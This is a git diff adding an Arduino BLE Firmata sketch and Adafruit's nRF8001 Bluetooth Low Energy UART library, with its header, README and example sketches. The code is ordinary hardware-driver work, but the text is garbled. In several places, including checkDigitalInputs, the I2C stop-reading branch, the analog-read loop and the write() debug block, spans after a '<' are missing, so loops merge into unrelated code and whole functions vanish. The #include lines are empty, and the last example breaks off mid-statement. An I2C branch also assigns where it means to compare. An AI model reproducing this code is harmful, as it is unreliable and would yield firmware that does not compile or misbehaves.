+Adafruit_BLE_FirmataClass BLE_Firmata(BLEserial); + + +/*============================================================================== + * GLOBAL VARIABLES + *============================================================================*/ + +/* analog inputs */ +int analogInputsToReport = 0; // bitwise array to store pin reporting +int lastAnalogReads[NUM_ANALOG_INPUTS]; + +/* digital input ports */ +byte reportPINs[TOTAL_PORTS]; // 1 = report this port, 0 = silence +byte previousPINs[TOTAL_PORTS]; // previous 8 bits sent + +/* pins configuration */ +byte pinConfig[TOTAL_PINS]; // configuration of every pin +byte portConfigInputs[TOTAL_PORTS]; // each bit: 1 = pin in INPUT, 0 = anything else +int pinState[TOTAL_PINS]; // any value that has been written + +/* timer variables */ +unsigned long currentMillis; // store the current value from millis() +unsigned long previousMillis; // for comparison with currentMillis +int samplingInterval = 200; // how often to run the main loop (in ms) +#define MINIMUM_SAMPLE_DELAY 150 +#define ANALOG_SAMPLE_DELAY 50 + + +/* i2c data */ +struct i2c_device_info { + byte addr; + byte reg; + byte bytes; +}; + +/* for i2c read continuous more */ +i2c_device_info query[MAX_QUERIES]; + +byte i2cRxData[32]; +boolean isI2CEnabled = false; +signed char queryIndex = -1; +unsigned int i2cReadDelayTime = 0; // default delay time between i2c read request and Wire.requestFrom() + +Servo servos[MAX_SERVOS]; +/*============================================================================== + * FUNCTIONS + *============================================================================*/ + +void readAndReportData(byte address, int theRegister, byte numBytes) { + // allow I2C requests that don't require a register read + // for example, some devices using an interrupt pin to signify new data available + // do not always require the register read so upon interrupt you call Wire.requestFrom() + if (theRegister != REGISTER_NOT_SPECIFIED) { + Wire.beginTransmission(address); + #if ARDUINO >= 100 + Wire.write((byte)theRegister); + #else + Wire.send((byte)theRegister); + #endif + Wire.endTransmission(); + delayMicroseconds(i2cReadDelayTime); // delay is necessary for some devices such as WiiNunchuck + } else { + theRegister = 0; // fill the register with a dummy value + } + + Wire.requestFrom(address, numBytes); // all bytes are returned in requestFrom + + // check to be sure correct number of bytes were returned by slave + if(numBytes == Wire.available()) { + i2cRxData[0] = address; + i2cRxData[1] = theRegister; + for (int i = 0; i < numBytes; i++) { + #if ARDUINO >= 100 + i2cRxData[2 + i] = Wire.read(); + #else + i2cRxData[2 + i] = Wire.receive(); + #endif + } + } + else { + if(numBytes > Wire.available()) { + BLE_Firmata.sendString("I2C Read Error: Too many bytes received"); + } else { + BLE_Firmata.sendString("I2C Read Error: Too few bytes received"); + } + } + + // send slave address, register and received bytes + BLE_Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData); +} + +void outputPort(byte portNumber, byte portValue, byte forceSend) +{ + // pins not configured as INPUT are cleared to zeros + portValue = portValue & portConfigInputs[portNumber]; + // only send if the value is different than previously sent + if(forceSend || previousPINs[portNumber] != portValue) { + Serial.print(F("Sending update for port ")); Serial.print(portNumber); Serial.print(" = 0x"); Serial.println(portValue, HEX); + BLE_Firmata.sendDigitalPort(portNumber, portValue); + previousPINs[portNumber] = portValue; + } +} + +/* ----------------------------------------------------------------------------- + * check all the active digital inputs for change of state, then add any events + * to the Serial output queue using Serial.print() */ +void checkDigitalInputs(boolean forceSend = false) +{ + /* Using non-looping code allows constants to be given to readPort(). + * The compiler will apply substantial optimizations if the inputs + * to readPort() are compile-time constants. */ + for (uint8_t i=0; i TOTAL_PINS) lastPin = TOTAL_PINS; + for (pin=port*8; pin < lastPin; pin++) { + // do not disturb non-digital pins (eg, Rx & Tx) + if (IS_PIN_DIGITAL(pin)) { + // only write to OUTPUT and INPUT (enables pullup) + // do not touch pins in PWM, ANALOG, SERVO or other modes + if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) { + pinWriteMask |= mask; + pinState[pin] = ((byte)value & mask) ? 1 : 0; + + if (AUTO_INPUT_PULLUPS && ( pinConfig[pin] == INPUT)) { + value |= mask; + } + } + } + mask = mask << 1; + } + Serial.print(F("Write digital port #")); Serial.print(port); + Serial.print(F(" = 0x")); Serial.print(value, HEX); + Serial.print(F(" mask = 0x")); Serial.println(pinWriteMask, HEX); + writePort(port, (byte)value, pinWriteMask); + } +} + + +// ----------------------------------------------------------------------------- +/* sets bits in a bit array (int) to toggle the reporting of the analogIns + */ +//void FirmataClass::setAnalogPinReporting(byte pin, byte state) { +//} +void reportAnalogCallback(byte analogPin, int value) +{ + if (analogPin < TOTAL_ANALOG_PINS) { + if(value == 0) { + analogInputsToReport = analogInputsToReport &~ (1 << analogPin); + Serial.print(F("Stop reporting analog pin #")); Serial.println(analogPin); + } else { + analogInputsToReport |= (1 << analogPin); + Serial.print(F("Will report analog pin #")); Serial.println(analogPin); + } + } + // TODO: save status to EEPROM here, if changed +} + +void reportDigitalCallback(byte port, int value) +{ + if (port < TOTAL_PORTS) { + Serial.print(F("Will report 0x")); Serial.print(value, HEX); Serial.print(F(" digital mask on port ")); Serial.println(port); + reportPINs[port] = (byte)value; + } + // do not disable analog reporting on these 8 pins, to allow some + // pins used for digital, others analog. Instead, allow both types + // of reporting to be enabled, but check if the pin is configured + // as analog when sampling the analog inputs. Likewise, while + // scanning digital pins, portConfigInputs will mask off values from any + // pins configured as analog +} + +/*============================================================================== + * SYSEX-BASED commands + *============================================================================*/ + +void sysexCallback(byte command, byte argc, byte *argv) +{ + byte mode; + byte slaveAddress; + byte slaveRegister; + byte data; + unsigned int delayTime; + + switch(command) { + case I2C_REQUEST: + mode = argv[1] & I2C_READ_WRITE_MODE_MASK; + if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) { + //BLE_Firmata.sendString("10-bit addressing mode is not yet supported"); + Serial.println(F("10-bit addressing mode is not yet supported")); + return; + } + else { + slaveAddress = argv[0]; + } + + switch(mode) { + case I2C_WRITE: + Wire.beginTransmission(slaveAddress); + for (byte i = 2; i < argc; i += 2) { + data = argv[i] + (argv[i + 1] << 7); + #if ARDUINO >= 100 + Wire.write(data); + #else + Wire.send(data); + #endif + } + Wire.endTransmission(); + delayMicroseconds(70); + break; + case I2C_READ: + if (argc == 6) { + // a slave register is specified + slaveRegister = argv[2] + (argv[3] << 7); + data = argv[4] + (argv[5] << 7); // bytes to read + readAndReportData(slaveAddress, (int)slaveRegister, data); + } + else { + // a slave register is NOT specified + data = argv[2] + (argv[3] << 7); // bytes to read + readAndReportData(slaveAddress, (int)REGISTER_NOT_SPECIFIED, data); + } + break; + case I2C_READ_CONTINUOUSLY: + if ((queryIndex + 1) >= MAX_QUERIES) { + // too many queries, just ignore + BLE_Firmata.sendString("too many queries"); + break; + } + queryIndex++; + query[queryIndex].addr = slaveAddress; + query[queryIndex].reg = argv[2] + (argv[3] << 7); + query[queryIndex].bytes = argv[4] + (argv[5] << 7); + break; + case I2C_STOP_READING: + byte queryIndexToSkip; + // if read continuous mode is enabled for only 1 i2c device, disable + // read continuous reporting for that device + if (queryIndex <= 0) { + queryIndex = -1; + } else { + // if read continuous mode is enabled for multiple devices, + // determine which device to stop reading and remove it's data from + // the array, shifiting other array data to fill the space + for (byte i = 0; i < queryIndex + 1; i++) { + if (query[i].addr = slaveAddress) { + queryIndexToSkip = i; + break; + } + } + + for (byte i = queryIndexToSkip; i 0) { + i2cReadDelayTime = delayTime; + } + + if (!isI2CEnabled) { + enableI2CPins(); + } + + break; + case SERVO_CONFIG: + if(argc > 4) { + // these vars are here for clarity, they'll optimized away by the compiler + byte pin = argv[0]; + int minPulse = argv[1] + (argv[2] << 7); + int maxPulse = argv[3] + (argv[4] << 7); + + if (IS_PIN_SERVO(pin)) { + if (servos[PIN_TO_SERVO(pin)].attached()) + servos[PIN_TO_SERVO(pin)].detach(); + servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse); + setPinModeCallback(pin, SERVO); + } + } + break; + case SAMPLING_INTERVAL: + if (argc > 1) { + samplingInterval = argv[0] + (argv[1] << 7); + if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) { + samplingInterval = MINIMUM_SAMPLING_INTERVAL; + } + } else { + //BLE_Firmata.sendString("Not enough data"); + } + break; + case EXTENDED_ANALOG: + if (argc > 1) { + int val = argv[1]; + if (argc > 2) val |= (argv[2] << 7); + if (argc > 3) val |= (argv[3] << 14); + analogWriteCallback(argv[0], val); + } + break; + case CAPABILITY_QUERY: + Serial.write(START_SYSEX); + Serial.write(CAPABILITY_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + if (IS_PIN_DIGITAL(pin)) { + Serial.write((byte)INPUT); + Serial.write(1); + Serial.write((byte)OUTPUT); + Serial.write(1); + } + if (IS_PIN_ANALOG(pin)) { + Serial.write(ANALOG); + Serial.write(10); + } + if (IS_PIN_PWM(pin)) { + Serial.write(PWM); + Serial.write(8); + } + if (IS_PIN_SERVO(pin)) { + Serial.write(SERVO); + Serial.write(14); + } + if (IS_PIN_I2C(pin)) { + Serial.write(I2C); + Serial.write(1); // to do: determine appropriate value + } + Serial.write(127); + } + Serial.write(END_SYSEX); + break; + case PIN_STATE_QUERY: + if (argc > 0) { + byte pin=argv[0]; + Serial.write(START_SYSEX); + Serial.write(PIN_STATE_RESPONSE); + Serial.write(pin); + if (pin < TOTAL_PINS) { + Serial.write((byte)pinConfig[pin]); + Serial.write((byte)pinState[pin] & 0x7F); + if (pinState[pin] & 0xFF80) Serial.write((byte)(pinState[pin] >> 7) & 0x7F); + if (pinState[pin] & 0xC000) Serial.write((byte)(pinState[pin] >> 14) & 0x7F); + } + Serial.write(END_SYSEX); + } + break; + case ANALOG_MAPPING_QUERY: + Serial.write(START_SYSEX); + Serial.write(ANALOG_MAPPING_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + Serial.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127); + } + Serial.write(END_SYSEX); + break; + } +} + +void enableI2CPins() +{ + byte i; + // is there a faster way to do this? would probaby require importing + // Arduino.h to get SCL and SDA pins + for (i=0; i < TOTAL_PINS; i++) { + if(IS_PIN_I2C(i)) { + // mark pins as i2c so they are ignore in non i2c data requests + setPinModeCallback(i, I2C); + } + } + + isI2CEnabled = true; + + // is there enough time before the first I2C request to call this here? + Wire.begin(); +} + +/* disable the i2c pins so they can be used for other functions */ +void disableI2CPins() { + isI2CEnabled = false; + // disable read continuous mode for all devices + queryIndex = -1; + // uncomment the following if or when the end() method is added to Wire library + // Wire.end(); +} + +/*============================================================================== + * SETUP() + *============================================================================*/ + +void systemResetCallback() +{ + // initialize a defalt state + Serial.println(F("***RESET***")); + // TODO: option to load config from EEPROM instead of default + if (isI2CEnabled) { + disableI2CPins(); + } + for (byte i=0; i < TOTAL_PORTS; i++) { + reportPINs[i] = false; // by default, reporting off + portConfigInputs[i] = 0; // until activated + previousPINs[i] = 0; + } + // pins with analog capability default to analog input + // otherwise, pins default to digital output + for (byte i=0; i < TOTAL_PINS; i++) { + if (IS_PIN_ANALOG(i)) { + // turns off pullup, configures everything + setPinModeCallback(i, ANALOG); + } else { + // sets the output to 0, configures portConfigInputs + setPinModeCallback(i, INPUT); + } + } + // by default, do not report any analog inputs + analogInputsToReport = 0; + + /* send digital inputs to set the initial state on the host computer, + * since once in the loop(), this firmware will only send on change */ + /* + TODO: this can never execute, since no pins default to digital input + but it will be needed when/if we support EEPROM stored config + for (byte i=0; i < TOTAL_PORTS; i++) { + outputPort(i, readPort(i, portConfigInputs[i]), true); + } + */ +} + + +aci_evt_opcode_t lastBTLEstatus, BTLEstatus; + +void setup() +{ + Serial.begin(9600); + Serial.println(F("Adafruit BTLE Firmata test")); + + BLEserial.begin(); + + BTLEstatus = lastBTLEstatus = ACI_EVT_DISCONNECTED; +} + +void firmataInit() { + Serial.println(F("Init firmata")); + //BLE_Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION); + //Serial.println(F("firmata analog")); + BLE_Firmata.attach(ANALOG_MESSAGE, analogWriteCallback); + //Serial.println(F("firmata digital")); + BLE_Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback); + //Serial.println(F("firmata analog report")); + BLE_Firmata.attach(REPORT_ANALOG, reportAnalogCallback); + //Serial.println(F("firmata digital report")); + BLE_Firmata.attach(REPORT_DIGITAL, reportDigitalCallback); + //Serial.println(F("firmata pinmode")); + BLE_Firmata.attach(SET_PIN_MODE, setPinModeCallback); + //Serial.println(F("firmata sysex")); + BLE_Firmata.attach(START_SYSEX, sysexCallback); + //Serial.println(F("firmata reset")); + BLE_Firmata.attach(SYSTEM_RESET, systemResetCallback); + + Serial.println(F("Begin firmata")); + BLE_Firmata.begin(); + systemResetCallback(); // reset to default config +} +/*============================================================================== + * LOOP() + *============================================================================*/ + +void loop() +{ + // Check the BTLE link, how're we doing? + BLEserial.pollACI(); + // Link status check + BTLEstatus = BLEserial.getState(); + + // Check if something has changed + if (BTLEstatus != lastBTLEstatus) { + // print it out! + if (BTLEstatus == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (BTLEstatus == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + // initialize Firmata cleanly + firmataInit(); + } + if (BTLEstatus == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + lastBTLEstatus = BTLEstatus; + } + + // if not connected... bail + if (BTLEstatus != ACI_EVT_CONNECTED) { + delay(100); + return; + } + + // For debugging, see if there's data on the serial console, we would forwad it to BTLE + if (Serial.available()) { + BLEserial.write(Serial.read()); + } + + // Onto the Firmata main loop + + byte pin, analogPin; + + /* DIGITALREAD - as fast as possible, check for changes and output them to the + * BTLE buffer using Serial.print() */ + checkDigitalInputs(); + + /* SERIALREAD - processing incoming messagse as soon as possible, while still + * checking digital inputs. */ + while(BLE_Firmata.available()) { + //Serial.println(F("*data available*")); + BLE_Firmata.processInput(); + } + /* SEND FTDI WRITE BUFFER - make sure that the FTDI buffer doesn't go over + * 60 bytes. use a timer to sending an event character every 4 ms to + * trigger the buffer to dump. */ + + // make the sampling interval longer if we have more analog inputs! + uint8_t analogreportnums = 0; + for(uint8_t a=0; a<8; a++) { + if (analogInputsToReport & (1 << a)) { + analogreportnums++; + } + } + + samplingInterval = (uint16_t)MINIMUM_SAMPLE_DELAY + (uint16_t)ANALOG_SAMPLE_DELAY * (1+analogreportnums); + + currentMillis = millis(); + if (currentMillis - previousMillis > samplingInterval) { + previousMillis += samplingInterval; + /* ANALOGREAD - do all analogReads() at the configured sampling interval */ + for(pin=0; pin= PRINT_BUFFER_SIZE) { + // Send buffer when it's full and reset buffer index. + written += write((uint8_t *)buffer, PRINT_BUFFER_SIZE); + i = 0; + } + // Grab a new byte from flash. + c = pgm_read_byte(p++); + } + if (i > 0) { + // Send any remaining data in the buffer. + written += write((uint8_t *)buffer, i); + } + return written; +} + +size_t Adafruit_BLE_UART::write(uint8_t * buffer, uint8_t len) +{ + uint8_t bytesThisPass, sent = 0; + +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting out to BTLE:")); + for (uint8_t i=0; i ACI_PIPE_TX_DATA_MAX_LEN) + bytesThisPass = ACI_PIPE_TX_DATA_MAX_LEN; + + if(!lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + pollACI(); + continue; + } + + lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer[sent], + bytesThisPass); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + + if(!(len -= bytesThisPass)) break; + sent += bytesThisPass; + } + + return sent; +} + +size_t Adafruit_BLE_UART::write(uint8_t buffer) +{ +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting one byte 0x")); Serial.println(buffer, HEX); +#endif + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer, 1); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + return 1; + } + + pollACI(); + + return 0; +} + +/**************************************************************************/ +/*! + Update the device name (7 characters or less!) +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::setDeviceName(const char * deviceName) +{ + if (strlen(deviceName) > 7) + { + /* String too long! */ + return; + } + else + { + memcpy(device_name, deviceName, strlen(deviceName)); + } +} + +/**************************************************************************/ +/*! + Handles low level ACI events, and passes them up to an application + level callback when appropriate +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::pollACI() +{ + // We enter the if statement only when there is a ACI event available to be processed + if (lib_aci_event_get(&aci_state, &aci_data)) + { + aci_evt_t * aci_evt; + + aci_evt = &aci_data.evt; + switch(aci_evt->evt_opcode) + { + /* As soon as you reset the nRF8001 you will get an ACI Device Started Event */ + case ACI_EVT_DEVICE_STARTED: + { + aci_state.data_credit_total = aci_evt->params.device_started.credit_available; + switch(aci_evt->params.device_started.device_mode) + { + case ACI_DEVICE_SETUP: + /* Device is in setup mode! */ + if (ACI_STATUS_TRANSACTION_COMPLETE != do_aci_setup(&aci_state)) + { + if (debugMode) { + Serial.println(F("Error in ACI Setup")); + } + } + break; + + case ACI_DEVICE_STANDBY: + /* Start advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + if (device_name[0] != 0x00) + { + /* Update the device name */ + lib_aci_set_local_data(&aci_state, PIPE_GAP_DEVICE_NAME_SET , (uint8_t *)&device_name, strlen(device_name)); + } + lib_aci_connect(adv_timeout, adv_interval); + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + } + } + break; + + case ACI_EVT_CMD_RSP: + /* If an ACI command response event comes with an error -> stop */ + if (ACI_STATUS_SUCCESS != aci_evt->params.cmd_rsp.cmd_status) + { + // ACI ReadDynamicData and ACI WriteDynamicData will have status codes of + // TRANSACTION_CONTINUE and TRANSACTION_COMPLETE + // all other ACI commands will have status code of ACI_STATUS_SUCCESS for a successful command + if (debugMode) { + Serial.print(F("ACI Command ")); + Serial.println(aci_evt->params.cmd_rsp.cmd_opcode, HEX); + Serial.println(F("Evt Cmd respone: Error. Arduino is in an while(1); loop")); + } + while (1); + } + if (ACI_CMD_GET_DEVICE_VERSION == aci_evt->params.cmd_rsp.cmd_opcode) + { + // Store the version and configuration information of the nRF8001 in the Hardware Revision String Characteristic + lib_aci_set_local_data(&aci_state, PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET, + (uint8_t *)&(aci_evt->params.cmd_rsp.params.get_device_version), sizeof(aci_evt_cmd_rsp_params_get_device_version_t)); + } + break; + + case ACI_EVT_CONNECTED: + aci_state.data_credit_available = aci_state.data_credit_total; + /* Get the device version of the nRF8001 and store it in the Hardware Revision String */ + lib_aci_device_version(); + + defaultACICallback(ACI_EVT_CONNECTED); + if (aci_event) + aci_event(ACI_EVT_CONNECTED); + + case ACI_EVT_PIPE_STATUS: + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX) && (false == timing_change_done)) + { + lib_aci_change_timing_GAP_PPCP(); // change the timing on the link as specified in the nRFgo studio -> nRF8001 conf. -> GAP. + // Used to increase or decrease bandwidth + timing_change_done = true; + } + break; + + case ACI_EVT_TIMING: + /* Link connection interval changed */ + break; + + case ACI_EVT_DISCONNECTED: + /* Restart advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + + defaultACICallback(ACI_EVT_DISCONNECTED); + if (aci_event) + aci_event(ACI_EVT_DISCONNECTED); + + lib_aci_connect(adv_timeout, adv_interval); + + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + break; + + case ACI_EVT_DATA_RECEIVED: + defaultRX(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + if (rx_event) + rx_event(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + break; + + case ACI_EVT_DATA_CREDIT: + aci_state.data_credit_available = aci_state.data_credit_available + aci_evt->params.data_credit.credit; + break; + + case ACI_EVT_PIPE_ERROR: + /* See the appendix in the nRF8001 Product Specication for details on the error codes */ + if (debugMode) { + Serial.print(F("ACI Evt Pipe Error: Pipe #:")); + Serial.print(aci_evt->params.pipe_error.pipe_number, DEC); + Serial.print(F(" Pipe Error Code: 0x")); + Serial.println(aci_evt->params.pipe_error.error_code, HEX); + } + + /* Increment the credit available as the data packet was not sent */ + aci_state.data_credit_available++; + break; + } + } + else + { + // Serial.println(F("No ACI Events available")); + // No event in the ACI Event queue and if there is no event in the ACI command queue the arduino can go to sleep + // Arduino can go to sleep now + // Wakeup from sleep from the RDYN line + } +} + +/**************************************************************************/ +/*! + Configures the nRF8001 and starts advertising the UART Service + + @param[in] advTimeout + The advertising timeout in seconds (0 = infinite advertising) + @param[in] advInterval + The delay between advertising packets in 0.625ms units +*/ +/**************************************************************************/ +bool Adafruit_BLE_UART::begin(uint16_t advTimeout, uint16_t advInterval) +{ + /* Store the advertising timeout and interval */ + adv_timeout = advTimeout; /* ToDo: Check range! */ + adv_interval = advInterval; /* ToDo: Check range! */ + + /* Setup the service data from nRFGo Studio (services.h) */ + if (NULL != services_pipe_type_mapping) + { + aci_state.aci_setup_info.services_pipe_type_mapping = &services_pipe_type_mapping[0]; + } + else + { + aci_state.aci_setup_info.services_pipe_type_mapping = NULL; + } + aci_state.aci_setup_info.number_of_pipes = NUMBER_OF_PIPES; + aci_state.aci_setup_info.setup_msgs = (hal_aci_data_t*)setup_msgs; + aci_state.aci_setup_info.num_setup_msgs = NB_SETUP_MESSAGES; + + /* Pass the service data into the appropriate struct in the ACI */ + lib_aci_init(&aci_state); + + /* ToDo: Check for chip ID to make sure we're connected! */ + + return true; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h new file mode 100755 index 0000000..3511ef1 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h @@ -0,0 +1,86 @@ +/********************************************************************* +This is a library for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +These displays use SPI to communicate, 4 or 5 pins are required to +interface + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +#if ARDUINO >= 100 + #include "Arduino.h" +#else + #include "WProgram.h" +#endif + +#ifndef _ADAFRUIT_BLE_UART_H_ +#define _ADAFRUIT_BLE_UART_H_ + +#include "utility/aci_evts.h" + +#define BLE_RW_DEBUG + +extern "C" +{ + /* Callback prototypes */ + typedef void (*aci_callback)(aci_evt_opcode_t event); + typedef void (*rx_callback) (uint8_t *buffer, uint8_t len); +} + +class Adafruit_BLE_UART : public Stream +{ + public: + Adafruit_BLE_UART (int8_t req, int8_t rdy, int8_t rst); + + bool begin ( uint16_t advTimeout = 0, uint16_t advInterval = 80 ); + void pollACI ( void ); + size_t write ( uint8_t * buffer, uint8_t len ); + size_t write ( uint8_t buffer); + + size_t println(const char * thestr); + size_t print(const char * thestr); + size_t print(String thestr); + size_t print(int theint); + size_t print(const __FlashStringHelper *ifsh); + + void setACIcallback(aci_callback aciEvent = NULL); + void setRXcallback(rx_callback rxEvent = NULL); + void setDeviceName(const char * deviceName); + + // Stream compatibility + int available(void); + int read(void); + int peek(void); + void flush(void); + + aci_evt_opcode_t getState(void); + + private: + void defaultACICallback(aci_evt_opcode_t event); + void defaultRX(uint8_t *buffer, uint8_t len); + + // callbacks you can set with setCallback function for user extension + aci_callback aci_event; + rx_callback rx_event; + + bool debugMode; + uint16_t adv_timeout; + uint16_t adv_interval; + char device_name[8]; + + aci_evt_opcode_t currentStatus; + + // pins usd + int8_t _REQ, _RDY, _RST; +}; + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md new file mode 100755 index 0000000..48b7c4f --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md @@ -0,0 +1,48 @@ +# Adafruit_nRF8001 # + +Driver and example code for Adafruit's nRF8001 Bluetooth Low Energy Breakout. + +## PINOUT ## + +The pin locations are defined in **ble_system.h**, the supported systems are defined in **hal_aci_tl.cpp**. The following pinout is used by default for the Arduino Uno: + +* SCK -> Pin 13 +* MISO -> Pin 12 +* MOSI -> Pin 11 +* REQ -> Pin 10 +* RDY -> Pin 2 (HW interrupt) +* ACT -> Not connected +* RST -> Pin 9 +* 3V0 - > Not connected +* GND -> GND +* VIN -> 5V + +RDY must be on pin 2 since this pin requires a HW interrupt. + +3V0 is an optional pin that exposes the output of the on-board 3.3V regulator. You can use this to supply 3.3V to other peripherals, but normally it will be left unconnected. + +ACT is not currently used in any of the existing examples, and can be left unconnected if necessary. + +# Examples # + +The following examples are included for the Adafruit nRF8001 Breakout + +## UART ## + +This example creates a UART-style bridge between the Arduino and any BLE capable device. + +You can send and receive up to 20 bytes at a time between your BLE-enabled phone or tablet and the Arduino. + +Any data sent to the Arduino will be displayed in the Serial Monitor output, and echo'ed back to the phone or tablet on the mobile device's RX channel. + +This demo creates a custom UART service, with one characteristic for TX and one for RX using the following UUIDs: + +* 6E400001-B5A3-F393-E0A9-E50E24DCCA9E for the Service +* 6E400002-B5A3-F393-E0A9-E50E24DCCA9E for the TX Characteristic (Property = Notify) +* 6E400003-B5A3-F393-E0A9-E50E24DCCA9E for the RX Characteristic (Property = Write without response) + +You can test the UART service with the free nRF UART apps from Nordic Semiconductors, available for both iOS and Android: + +* Compatible iOS devices: https://itunes.apple.com/us/app/nrf-uart/id614594903?mt=8 +* Compatible Android 4.3 and higher devices: https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUARTv2 +* Compatible pre Android 4.3 Samsung devices (uses a proprietary Samsung BLE stack): https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUART diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino new file mode 100755 index 0000000..0001ab6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino @@ -0,0 +1,100 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses the internal data queing so you can treat it like Serial (kinda)! + +#include +#include "Adafruit_BLE_UART.h" + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART BTLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); +/**************************************************************************/ +/*! + Configure the Arduino and start advertising with the radio +*/ +/**************************************************************************/ +void setup(void) +{ + Serial.begin(9600); + while(!Serial); // Leonardo/Micro should wait for serial init + Serial.println(F("Adafruit Bluefruit Low Energy nRF8001 Print echo demo")); + + // BTLEserial.setDeviceName("NEWNAME"); /* 7 characters max! */ + + BTLEserial.begin(); +} + +/**************************************************************************/ +/*! + Constantly checks for new events on the nRF8001 +*/ +/**************************************************************************/ +aci_evt_opcode_t laststatus = ACI_EVT_DISCONNECTED; + +void loop() +{ + // Tell the nRF8001 to do whatever it should be working on. + BTLEserial.pollACI(); + + // Ask what is our current status + aci_evt_opcode_t status = BTLEserial.getState(); + // If the status changed.... + if (status != laststatus) { + // print it out! + if (status == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (status == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + } + if (status == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + laststatus = status; + } + + if (status == 